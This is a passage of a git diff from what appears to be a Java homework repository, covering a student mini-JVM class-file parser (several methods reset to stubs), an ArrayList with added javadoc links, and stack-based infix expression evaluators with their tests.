+++ b/group12/247565311/week567_miniJVM/attr/StackMapTable.java
@@ -9,7 +9,7 @@ public class StackMapTable extends AttributeInfo{
 	private String originalCode;
 
 	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen,AttributeInfo.STACK_MAP_TABLE);		
+		super(attrNameIndex, attrLen);		
 	}
 
 	public static StackMapTable parse(ByteCodeIterator iter){
diff --git a/group12/247565311/week567_miniJVM/clz/ClassFile.java b/group12/247565311/week567_miniJVM/clz/ClassFile.java
index 5db5b1dba8..91226364b8 100644
--- a/group12/247565311/week567_miniJVM/clz/ClassFile.java
+++ b/group12/247565311/week567_miniJVM/clz/ClassFile.java
@@ -7,48 +7,65 @@
 import structure.week1.ArrayList;
 
 public class ClassFile {
-    public int minorVersion,majorVersion;
-	private AccessFlag accessFlag = null;
-	private ClassIndex clzIndex = null;
-    private ConstantPool constPool = null;
-    private ArrayList<Method> methods = null;
-    private ArrayList<Field> fields = null;
-    
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
 	}
-    public void setClzIndex(ClassIndex clz){
-        clzIndex = clz;
-    }
 	public AccessFlag getAccessFlag() {
 		return accessFlag;
 	}
-    public void setAccessFlag(AccessFlag acsFlag){
-        accessFlag = acsFlag;
-    }
-	public ConstantPool getConstantPool() {
-		return constPool;
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
 	}
-    public void setConstantPool(ConstantPool pool){
-        constPool = pool;
-    }
 	public int getMinorVersion() {
 		return minorVersion;
 	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
 	public int getMajorVersion() {
 		return majorVersion;
 	}
-    public void setVersion(int minor,int major){
-        minorVersion = minor;
-        majorVersion = major;
-    }
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
 	public void print(){
+		
 		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag:public");
+			System.out.println("Access flag : public  ");
 		}
 		System.out.println("Class Name:"+ getClassName());
+		
 		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
 	}
+	
 	private String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
@@ -59,18 +76,9 @@ private String getSuperClassName(){
 		return superClass.getClassName();
 	}
 	public ArrayList<Method> getMethods() {
-		return methods;
+		return null;
 	}
 	public ArrayList<Field> getFields() {
-		return fields;
-	}
-	public void setClassIndex(ClassIndex parseClassIndex) {
-		clzIndex = parseClassIndex;
-	}
-	public void setFields(ArrayList<Field> parseFields) {
-		fields = parseFields;
-	}
-	public void setMethods(ArrayList<Method> parseMethods) {
-        methods = parseMethods;
+		return null;
 	}
 }
diff --git a/group12/247565311/week567_miniJVM/constant/ConstantPool.java b/group12/247565311/week567_miniJVM/constant/ConstantPool.java
index 23c1c32dce..fb35f6c253 100644
--- a/group12/247565311/week567_miniJVM/constant/ConstantPool.java
+++ b/group12/247565311/week567_miniJVM/constant/ConstantPool.java
@@ -4,13 +4,19 @@
 import java.util.List;
 
 public class ConstantPool {
+	
 	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
 	public ConstantPool(){
 		
 	}
 	public void addConstantInfo(ConstantInfo info){
+		
 		this.constantInfos.add(info);
+		
 	}
+	
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantInfos.get(index);
 	}
diff --git a/group12/247565311/week567_miniJVM/constant/InfoFactory.java b/group12/247565311/week567_miniJVM/constant/InfoFactory.java
deleted file mode 100644
index 8c8bdc12f4..0000000000
--- a/group12/247565311/week567_miniJVM/constant/InfoFactory.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package week567_miniJVM.constant;
-import week567_miniJVM.loader.ByteCodeIterator;
-public class InfoFactory{
-    private static InfoFactory infoFact = new InfoFactory();
-    public static InfoFactory Invoke(){
-        return infoFact;
-    }
-    public ConstantInfo getInfoObj(int tag,ByteCodeIterator iter,ConstantPool pool){
-        switch(tag){
-        case 1:{
-        	UTF8Info info = new UTF8Info(pool);
-            info.setLength(iter.nextU2ToInt());
-            info.setValue(iter.nextUxToHexString(info.getLength()));
-            return info;}
-        case 7:{
-        	ClassInfo info = new ClassInfo(pool);
-            info.setUtf8Index(iter.nextU2ToInt());
-            return info;  }
-        case 8:{
-        	StringInfo info = new StringInfo(pool);
-            info.setIndex(iter.nextU2ToInt());
-            return info;}
-        case 9:{
-        	FieldRefInfo info = new FieldRefInfo(pool);
-            info.setClassInfoIndex(iter.nextU2ToInt());
-            info.setNameAndTypeIndex(iter.nextU2ToInt());
-            return info;}  
-        case 10:{
-        	MethodRefInfo info = new MethodRefInfo(pool);
-            info.setClassInfoIndex(iter.nextU2ToInt());
-            info.setNameAndTypeIndex(iter.nextU2ToInt());
-            return info;}
-        case 12:{
-        	NameAndTypeInfo info = new NameAndTypeInfo(pool);
-            info.setIndex1(iter.nextU2ToInt());
-            info.setIndex2(iter.nextU2ToInt());
-            return info;}
-        default:
-			new RuntimeException("tag 为"+tag+" 的常亮项尚不支持!").printStackTrace();
-            break;
-        }
-        return null;
-    }
-}
-
-
-
-
-
-
-
-
-
-
diff --git a/group12/247565311/week567_miniJVM/constant/UTF8Info.java b/group12/247565311/week567_miniJVM/constant/UTF8Info.java
index 40dbb7f126..ac2341bda9 100644
--- a/group12/247565311/week567_miniJVM/constant/UTF8Info.java
+++ b/group12/247565311/week567_miniJVM/constant/UTF8Info.java
@@ -26,4 +26,7 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	
+	
+
 }
diff --git a/group12/247565311/week567_miniJVM/field/Field.java b/group12/247565311/week567_miniJVM/field/Field.java
index dd7510510a..47eac5a308 100644
--- a/group12/247565311/week567_miniJVM/field/Field.java
+++ b/group12/247565311/week567_miniJVM/field/Field.java
@@ -1,24 +1,33 @@
 package week567_miniJVM.field;
 
-import structure.week1.ArrayList;
 import week567_miniJVM.constant.ConstantPool;
+import week567_miniJVM.constant.UTF8Info;
 import week567_miniJVM.loader.ByteCodeIterator;
+
+
 public class Field {
-	private int accessFlag,nameIndex,descIndex;
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
 	private ConstantPool pool;
-	public Field( int accessFlag, int nameIndex, int descIndex,ConstantPool pool) {
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
 		this.accessFlag = accessFlag;
 		this.nameIndex = nameIndex;
-		this.descIndex = descIndex;
+		this.descriptorIndex = descriptorIndex;
 		this.pool = pool;
 	}
-	public void parse(ConstantPool pool,ByteCodeIterator iter){
-        int propNum = iter.nextU2ToInt();
-        while(propNum>0){
-            propNum -= 1;
-            int prop = iter.nextU2ToInt();
-           // TODO
-        }
-		return ;
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		return null;
 	}
+
 }
\ No newline at end of file
diff --git a/group12/247565311/week567_miniJVM/loader/ByteCodeIterator.java b/group12/247565311/week567_miniJVM/loader/ByteCodeIterator.java
index a3cf1f4578..d38345b3fe 100644
--- a/group12/247565311/week567_miniJVM/loader/ByteCodeIterator.java
+++ b/group12/247565311/week567_miniJVM/loader/ByteCodeIterator.java
@@ -1,38 +1,20 @@
 package week567_miniJVM.loader;
 
 public class ByteCodeIterator {
-    private byte[] bytes = null;
-    int index = 0;
-    public ByteCodeIterator(byte[] _byte){
-        bytes = _byte;
-    }
-    public void skip(int i){
-        index += i;
-    }
-    public int nextU1ToInt(){
-        byte a = bytes[index];
-        System.out.print(a);
-        index += 1;
-        return (int)(a&0xff);
-    }
+
 	public int nextU2ToInt() {
-		return nextU1ToInt()*256+nextU1ToInt();
+		// TODO �Զ����ɵķ������
+		return 0;
 	}
 
 	public int nextU4ToInt() {
-		return nextU1ToInt()*256*256*256+nextU1ToInt()*256*256+nextU1ToInt()*256+nextU1ToInt();
+		// TODO �Զ����ɵķ������
+		return 0;
 	}
 
 	public String nextUxToHexString(int len) {
-        String res = "";
-        while(len>0){
-            len -= 1;
-            int a = nextU1ToInt();
-            res += (char)(a&0xff);
-        }
-		return res;
+		// TODO �Զ����ɵķ������
+		return null;
 	}
-    public boolean hasNext(){
-        return index<bytes.length;
-    }
+
 }
diff --git a/group12/247565311/week567_miniJVM/loader/ClassFileLoader.java b/group12/247565311/week567_miniJVM/loader/ClassFileLoader.java
index 9a8d9a74a8..89c66a8197 100644
--- a/group12/247565311/week567_miniJVM/loader/ClassFileLoader.java
+++ b/group12/247565311/week567_miniJVM/loader/ClassFileLoader.java
@@ -2,6 +2,7 @@
 
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
@@ -11,14 +12,7 @@
 public class ClassFileLoader {
     private List<String> clzPaths = new ArrayList<String>();
 	
-	public ClassFile loadClass(String className){
-        
-        byte[] bytes = readBinaryCode(className);
-        ClassFile clzFile = new ClassFileParser().parse(bytes);
-        
-        return clzFile;
-    }
-	public byte[] readBinaryCode(String className) {
+	public byte[] readBinaryCode(String className) throws Exception {
 		for(String s:clzPaths){
 			String filename = s+className+".class";
 			File file = new File(filename);
@@ -26,26 +20,32 @@ public byte[] readBinaryCode(String className) {
 		}
 		return null;
 	}
-	private byte[] loadClassFile(String clzFileName) {
+	public ClassFile loadClass(String className){
+        return null;
+    }
+	private byte[] loadClassFile(String clzFileName) throws Exception {
 		File file = new File(clzFileName);
 		long filelength = file.length();
 		byte[]res = null;
-		if(filelength>Integer.MAX_VALUE) new IOException("���ļ�����").printStackTrace();
+		if(filelength>Integer.MAX_VALUE)throw new IOException("�ļ�����");
 		try {
 			FileInputStream fileinput = new FileInputStream(file);
 			res = new byte[(int) filelength];
 			int offset=0,length=0;
 			while(offset<res.length && ((length=fileinput.read(res,offset,res.length-offset))>-1))
 				offset += length;
-			if(fileinput!=null)fileinput.close();
-		} catch (Exception e) {
+			fileinput.close();
+		} catch (FileNotFoundException e) {
 			e.printStackTrace();
 		}
 		return res;
 	}
+	
 	public void addClassPath(String path) {
 		clzPaths.add(path);
 	}
+	
+	
 	public String getClassPath(){
 		String res = "";
 		int size = clzPaths.size();
diff --git a/group12/247565311/week567_miniJVM/loader/ClassFileParser.java b/group12/247565311/week567_miniJVM/loader/ClassFileParser.java
index c3858dbaf6..5a23889b50 100644
--- a/group12/247565311/week567_miniJVM/loader/ClassFileParser.java
+++ b/group12/247565311/week567_miniJVM/loader/ClassFileParser.java
@@ -1,91 +1,44 @@
 package week567_miniJVM.loader;
 
-import structure.week1.ArrayList;
+import java.io.UnsupportedEncodingException;
+
 import week567_miniJVM.clz.AccessFlag;
 import week567_miniJVM.clz.ClassFile;
 import week567_miniJVM.clz.ClassIndex;
-import week567_miniJVM.constant.ConstantInfo;
+import week567_miniJVM.constant.ClassInfo;
 import week567_miniJVM.constant.ConstantPool;
-import week567_miniJVM.constant.InfoFactory;
+import week567_miniJVM.constant.FieldRefInfo;
+import week567_miniJVM.constant.MethodRefInfo;
+import week567_miniJVM.constant.NameAndTypeInfo;
 import week567_miniJVM.constant.NullConstantInfo;
-import week567_miniJVM.field.Field;
-import week567_miniJVM.method.Method;
-
+import week567_miniJVM.constant.StringInfo;
+import week567_miniJVM.constant.UTF8Info;
 
 public class ClassFileParser {
-	public ClassFile parse(byte[] bytes) {
-        ClassFile clzFile = new ClassFile();
-        ByteCodeIterator iter = new ByteCodeIterator(bytes);
-        if(!"cafebabe".equals(iter.nextUxToHexString(4))) return null;
-        
-        clzFile.setVersion(iter.nextU2ToInt(),iter.nextU2ToInt());
-        
-        ConstantPool pool = parseConstantPool(iter);
-        clzFile.setConstantPool(pool);    
-        
-        clzFile.setAccessFlag(parseAccessFlag(iter));
-        clzFile.setClassIndex(parseClassIndex(iter));
-        
-        int collectionNum = iter.nextU2ToInt();
-        iter.skip(collectionNum*2);
-        
-        clzFile.setFields(parseFields(iter,pool));
-        clzFile.setMethods(parseMethods(clzFile,iter));
-		return clzFile;
-	}
-	
-	private ConstantPool parseConstantPool(ByteCodeIterator iter){
-        ConstantPool pool = new ConstantPool();
-        pool.addConstantInfo(new NullConstantInfo());
-        int lenpool = iter.nextU2ToInt();
-        while(lenpool>1){
-            lenpool -= 1;
-            int tag = iter.nextU1ToInt();
-            ConstantInfo info = InfoFactory.Invoke().getInfoObj(tag,iter,pool);
-            pool.addConstantInfo(info);
-        }
-		return pool;
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+
+		return null;
 	}
-	
+
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-        AccessFlag caflag = new AccessFlag(iter.nextU2ToInt());
-		return caflag;
+
+		return null;
 	}
-	
-	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
-        ClassIndex clzIndex = new ClassIndex();
-        clzIndex.setThisClassIndex(iter.nextU2ToInt());
-        clzIndex.setSuperClassIndex(iter.nextU2ToInt());
-		return clzIndex;
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
 	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		return null;
+	}
+
 	
-    private ArrayList<Field> parseFields(ByteCodeIterator iter,ConstantPool pool){
-        ArrayList<Field> fields = new ArrayList<Field>();
-        int fieldNum = iter.nextU2ToInt();
-        while(fieldNum>0){
-            fieldNum -= 1;
-            int accflag = iter.nextU2ToInt();       // 例如是public
-            int nameIndex = iter.nextU2ToInt();// 指向常量池的入口
-            int descIndex = iter.nextU2ToInt(); // 指向常量池的入口
-            Field field = new Field(accflag,nameIndex,descIndex,pool);
-            field.parse(pool,iter);
-            fields.add(field);
-        }
-        return fields;
-    }
-    
-    private ArrayList<Method> parseMethods(ClassFile clzFile,ByteCodeIterator iter){
-        ArrayList<Method> methods = new ArrayList<Method>();
-        int methodNum = iter.nextU2ToInt();
-        while(methodNum>0){
-            methodNum -= 1;
-            int accflag = iter.nextU2ToInt();
-            int nameIndex = iter.nextU2ToInt();
-            int descIndex = iter.nextU2ToInt();
-            Method method = new Method(clzFile,accflag,nameIndex,descIndex);
-            method.parse(clzFile,iter);
-            methods.add(method);
-        }
-        return methods;
-    }
 }
diff --git a/group12/247565311/week567_miniJVM/method/Method.java b/group12/247565311/week567_miniJVM/method/Method.java
index ceabffec1b..aadd29e9a6 100644
--- a/group12/247565311/week567_miniJVM/method/Method.java
+++ b/group12/247565311/week567_miniJVM/method/Method.java
@@ -1,51 +1,58 @@
 package week567_miniJVM.method;
+
 import week567_miniJVM.clz.ClassFile;
-import week567_miniJVM.constant.ConstantInfo;
-import week567_miniJVM.constant.UTF8Info;
-import week567_miniJVM.loader.ByteCodeIterator;
-import week567_miniJVM.attr.AttrFactory;
 import week567_miniJVM.attr.AttributeInfo;
 import week567_miniJVM.attr.CodeAttr;
+import week567_miniJVM.constant.ConstantPool;
+import week567_miniJVM.constant.UTF8Info;
+import week567_miniJVM.loader.ByteCodeIterator;
+
+
 
 public class Method {
-	private int accessFlag,nameIndex,descIndex;
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
 	private CodeAttr codeAttr;
+	
 	private ClassFile clzFile;
 	
+	
 	public ClassFile getClzFile() {
 		return clzFile;
 	}
-    public int getAccessFlag(){
-    	return accessFlag;
-    }
+
 	public int getNameIndex() {
 		return nameIndex;
 	}
 	public int getDescriptorIndex() {
-		return descIndex;
+		return descriptorIndex;
 	}
+	
 	public CodeAttr getCodeAttr() {
 		return codeAttr;
 	}
+
 	public void setCodeAttr(CodeAttr code) {
 		this.codeAttr = code;
 	}
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descIndex) {
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
 		this.clzFile = clzFile;
 		this.accessFlag = accessFlag;
 		this.nameIndex = nameIndex;
-		this.descIndex = descIndex;
+		this.descriptorIndex = descriptorIndex;
 	}
-	
-	public void parse(ClassFile clzFile, ByteCodeIterator iter){
-        int attributeNum = iter.nextU2ToInt();
-        while(attributeNum>0){
-        	attributeNum -= 1;
-        	AttributeInfo attrinfo = AttrFactory.Instance().parse(clzFile, iter);
-        	if(attrinfo == null) continue;
 
-            
-        }
+	
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
 	}
 }
 
diff --git a/group12/247565311/week567_miniJVM/loader/ClassFileLoaderTest.java b/group12/247565311/week567_miniJVM/test/ClassFileLoaderTest.java
similarity index 93%
rename from group12/247565311/week567_miniJVM/loader/ClassFileLoaderTest.java
rename to group12/247565311/week567_miniJVM/test/ClassFileLoaderTest.java
index c235413b3b..ed81eaa399 100644
--- a/group12/247565311/week567_miniJVM/loader/ClassFileLoaderTest.java
+++ b/group12/247565311/week567_miniJVM/test/ClassFileLoaderTest.java
@@ -1,7 +1,7 @@
-package week567_miniJVM.loader;
-
+package week567_miniJVM.test;
 
 import structure.week1.ArrayList;
+import structure.week1.List;
 import week567_miniJVM.clz.ClassFile;
 import week567_miniJVM.clz.ClassIndex;
 import week567_miniJVM.constant.ClassInfo;
@@ -19,15 +19,23 @@
 import org.junit.Test;
 
 public class ClassFileLoaderTest {
-	private static final String FULL_QUALIFIED_CLASS_NAME = "EmployeeV1.class";
-	static String path1 = "F:\\code_language\\demo\\Homework\\bin\\week567_miniJVM\\test\\";
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	static String path1 = "F:\\code_language\\demo\\Homework\\bin\\week567_miniJVM\\test";
 	static String path2 = "C:\temp";
 	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
 	@Before
-	public void setUp() throws Exception {
-		int �� = 1;
-		�� += 1;
-		System.out.print(��);
+	public void setUp() throws Exception {		 
 	}
 	@After
 	public void tearDown() throws Exception {
@@ -51,8 +59,7 @@ public void testClassFileLength() {
 		} catch (Exception e) {
 			e.printStackTrace();
 		}
-		// �������.class�ļ����ֽ���
-		System.out.print(byteCodes.length);
+		// 这里断言.class文件的字节数
 		Assert.assertEquals(267, byteCodes.length);
 	}
     @Test	
@@ -84,17 +91,8 @@ private String byteToHexString(byte[] codes ){
 		return buffer.toString();
 	}
     /**
-    * miniJVM�ڶ�����ҵ��������
+    * miniJVM第二次作业测试用例
     */
-    static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "week567_miniJVM.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
     @Test
     public void testVersion(){
 		Assert.assertEquals(0, clzFile.getMinorVersion());
@@ -142,7 +140,7 @@ public void testConstantPool(){
 			Assert.assertEquals(9, nameAndType.getIndex1());
 			Assert.assertEquals(14, nameAndType.getIndex2());
 		}
-		// ������һ��
+		// 随机抽查一个
 		{
 			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
 			Assert.assertEquals(1, methodRef.getClassInfoIndex());
@@ -162,7 +160,7 @@ public void testClassIndex(){
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
     /**
-     * miniJVM��������ҵ��������
+     * miniJVM第三次作业测试用例
      */
     @Test
     public void testReadFields(){
@@ -225,4 +223,4 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
-}
+}
\ No newline at end of file
diff --git a/group12/247565311/week567_miniJVM/test/EmployeeV1.java b/group12/247565311/week567_miniJVM/test/EmployeeV1.java
index bfa4460096..b9855461ae 100644
--- a/group12/247565311/week567_miniJVM/test/EmployeeV1.java
+++ b/group12/247565311/week567_miniJVM/test/EmployeeV1.java
@@ -1,18 +1,5 @@
 package week567_miniJVM.test;
 
 public class EmployeeV1 {
-    private int age;
-    private String name;
-    public void setAge(int _age){
-    	age = _age;
-    }
-    public int getAge(){
-    	return age;
-    }
-    public void setName(String _name){
-    	name = _name;
-    }
-    public String getName(){
-    	return name;
-    }
+
 }
diff --git a/group12/247565311/week567_miniJVM/util/Util.java b/group12/247565311/week567_miniJVM/util/Util.java
index 9c7baeb915..c10eaee6f2 100644
--- a/group12/247565311/week567_miniJVM/util/Util.java
+++ b/group12/247565311/week567_miniJVM/util/Util.java
@@ -5,6 +5,9 @@ public static int byteToInt(byte[] codes){
     	String s1 = byteToHexString(codes);
     	return Integer.valueOf(s1, 16).intValue();
     }
+    
+    
+    
 	public static String byteToHexString(byte[] codes ){
 		StringBuffer buffer = new StringBuffer();
 		for(int i=0;i<codes.length;i++){
diff --git a/group12/377401843/learning/src/main/java/com/zhaogd/array/ArrayList.java b/group12/377401843/learning/src/main/java/com/zhaogd/array/ArrayList.java
index f5cd3f3857..d5c5fe04cc 100644
--- a/group12/377401843/learning/src/main/java/com/zhaogd/array/ArrayList.java
+++ b/group12/377401843/learning/src/main/java/com/zhaogd/array/ArrayList.java
@@ -1,10 +1,10 @@
 package com.zhaogd.array;
 
+import java.util.Arrays;
+
 import com.zhaogd.collection.Iterator;
 import com.zhaogd.collection.List;
 
-import java.util.Arrays;
-
 public class ArrayList implements List {
 
 	private int size = 0;
@@ -16,6 +16,7 @@ public class ArrayList implements List {
 	 *
 	 * @Method add
 	 * @param o
+	 * @see com.zhaogd.collection.guodong.datastructure.List#add(java.lang.Object)
 	 */
 	public void add(Object o) {
 		ensureCapacityInternal(size + 1);
@@ -29,6 +30,7 @@ public void add(Object o) {
 	 * @Method add
 	 * @param index
 	 * @param o
+	 * @see com.zhaogd.collection.guodong.datastructure.List#add(int, java.lang.Object)
 	 */
 	public void add(int index, Object o) {
 		checkRangeForAdd(index);
@@ -47,6 +49,7 @@ public void add(int index, Object o) {
 	 * @Method get
 	 * @param index
 	 * @return
+	 * @see com.zhaogd.collection.guodong.datastructure.List#get(int)
 	 */
 	public Object get(int index) {
 		checkRangeForGetOrRemove(index);
@@ -60,6 +63,7 @@ public Object get(int index) {
 	 * @Method remove
 	 * @param index
 	 * @return
+	 * @see com.zhaogd.collection.guodong.datastructure.List#remove(int)
 	 */
 	public Object remove(int index) {
 		checkRangeForGetOrRemove(index);
@@ -79,6 +83,7 @@ public Object remove(int index) {
 	 *
 	 * @Method size
 	 * @return
+	 * @see com.zhaogd.collection.guodong.datastructure.List#size()
 	 */
 	public int size() {
 		return size;
diff --git a/group12/382266293/coding/basic/stack/StackUtil.java b/group12/382266293/coding/basic/stack/StackUtil.java
index e0beed1708..706bcd7033 100644
--- a/group12/382266293/coding/basic/stack/StackUtil.java
+++ b/group12/382266293/coding/basic/stack/StackUtil.java
@@ -1,5 +1,7 @@
 package stack;
 
+import static org.junit.Assert.assertEquals;
+
 import java.util.Objects;
 import java.util.Stack;
 
@@ -8,24 +10,22 @@ public class StackUtil {
 	/**
 	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
 	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param <E>
 	 */
-	public static <E> void reverse(Stack<E> stack) {
+	public static void reverse(Stack<Integer> stack) {
 		if (stack.isEmpty()) {
 			return;
 		}
-		E i = getAndRemoveLastElement(stack);
+		int i = getAndRemoveLastElement(stack);
 		reverse(stack);
 		stack.push(i);
 	}
 
-
-	public static <E> E getAndRemoveLastElement(Stack<E> stack) {
-		E result = stack.pop();
+	public static int getAndRemoveLastElement(Stack<Integer> stack) {
+		int result = stack.pop();
 		if (stack.isEmpty()) {
 			return result;
 		} else {
-			E last = getAndRemoveLastElement(stack);
+			int last = getAndRemoveLastElement(stack);
 			stack.push(result);
 			return last;
 		}
diff --git a/group12/382266293/coding/basic/stack/expr/InfixExpr.java b/group12/382266293/coding/basic/stack/expr/InfixExpr.java
index c143116ec4..eade1dc743 100644
--- a/group12/382266293/coding/basic/stack/expr/InfixExpr.java
+++ b/group12/382266293/coding/basic/stack/expr/InfixExpr.java
@@ -1,78 +1,18 @@
-package stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		
-		
-		Stack<Token> opStack = new Stack<>();
-		Stack<Float> numStack = new Stack<>();
-		
-		for(Token token : tokens){
-			
-			if (token.isOperator()){
-				
-				if(opStack.isEmpty()){
-					
-					opStack.push(token);
-				} else{
-					
-					while(!opStack.isEmpty() 
-							&& !token.hasHigherPriority(opStack.peek())){
-						Token prevOperator = opStack.pop();
-						Float f2 = numStack.pop();
-						Float f1 = numStack.pop();
-						Float result = calculate(prevOperator.toString(), f1,f2);
-						numStack.push(result);						
-						
-					}
-					opStack.push(token);
-				}
-			} 
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			}
-		}
-		
-		while(!opStack.isEmpty()){
-			Token token = opStack.pop();
-			Float f2 = numStack.pop();
-			Float f1 = numStack.pop();
-			numStack.push(calculate(token.toString(), f1,f2));
-		}
-		
-		
-		return numStack.pop().floatValue();
-	}
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-
-	
-	
-}
+package stack.expr;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {		
+		
+		return 0.0f;
+	}
+	
+
+	
+	
+}
diff --git a/group12/382266293/coding/basic/stack/expr/InfixExprS.java b/group12/382266293/coding/basic/stack/expr/InfixExprS.java
deleted file mode 100644
index 7600cccb93..0000000000
--- a/group12/382266293/coding/basic/stack/expr/InfixExprS.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package stack.expr;
-
-import java.util.Stack;
-import stack.StackUtil;
-
-public class InfixExprS{
-	String expr = null;
-
-	public InfixExprS(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-
-		TParser tp = new TParser();
-		tp.parse(expr);
-		Stack<Integer> ints = new Stack<Integer>();
-		Stack<String> signs = new Stack<String>();
-
-		int i1 = tp.nextInt();
-		String sign1 = tp.nextSign();
-		
-		ints.push(i1);
-		signs.push(sign1);
-
-		while (tp.hasNextInt()) {
-
-			int i2 = tp.nextInt();
-			String sign2 = tp.nextSign();
-
-			if (tp.hasNextInt()) {
-				
-				if (highPrioritySign(sign1)) {
-					
-					i1 = ints.pop();
-					sign1 = signs.pop();
-					i2 = calculate(i1, i2, sign1);
-			
-				}
-			
-				ints.push(i2);
-				signs.push(sign2);
-				sign1 = sign2;
-
-			}
-
-		}
-
-		signs.pop();
-		StackUtil.reverse(ints);
-		StackUtil.reverse(signs);
-
-		while (!ints.isEmpty()) {
-			
-			int firstInt = ints.pop();
-
-			if (ints.isEmpty()) {
-				return (float) firstInt;
-			} 
-				
-			int secInt = ints.pop();
-			String sign = signs.pop();
-			int result = calculate(firstInt, secInt, sign);
-			ints.push(result);
-		
-		}
-
-		System.out.println("we shall not reach here");
-		return (float) ints.peek();
-	}
-
-	private int calculate(int firstInt, int secInt, String lowsign) {
-
-		int result;
-		if (lowsign.equals("+")) {
-			result = firstInt + secInt;
-		} else if (lowsign.equals("-")) {
-			result = firstInt - secInt;
-		} else if (lowsign.equals("*")) {
-			result = firstInt * secInt;
-		} else if (lowsign.equals("/")) {
-			result = firstInt / secInt;
-		} else {
-			throw new RuntimeException(lowsign + " has not been supported yet!");
-		}
-
-		return result;
-
-	}
-
-	private boolean highPrioritySign(String sign) {
-
-		if (sign.equals("*") || sign.equals("/")) {
-
-			return true;
-
-		}
-
-		return false;
-	}
-
-}
diff --git a/group12/382266293/coding/basic/stack/expr/InfixExprTest.java b/group12/382266293/coding/basic/stack/expr/InfixExprTest.java
index 836848ac91..bb047629bd 100644
--- a/group12/382266293/coding/basic/stack/expr/InfixExprTest.java
+++ b/group12/382266293/coding/basic/stack/expr/InfixExprTest.java
@@ -5,6 +5,7 @@
 import org.junit.Before;
 import org.junit.Test;
 
+
 public class InfixExprTest {
 
 	@Before
@@ -17,62 +18,31 @@ public void tearDown() throws Exception {
 
 	@Test
 	public void testEvaluate() {
-
-		{
-			InfixExpr expr = new InfixExpr("1*2*2-1");
-			Assert.assertEquals(3.0, expr.evaluate(), 0.001f);
-		}
-		
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
 		{
 			InfixExpr expr = new InfixExpr("2+3*4+5");
 			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
 		}
-		
 		{
-			InfixExpr expr = new InfixExpr("2+3*4+5*1+1");
-			Assert.assertEquals(20.0, expr.evaluate(), 0.001f);
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
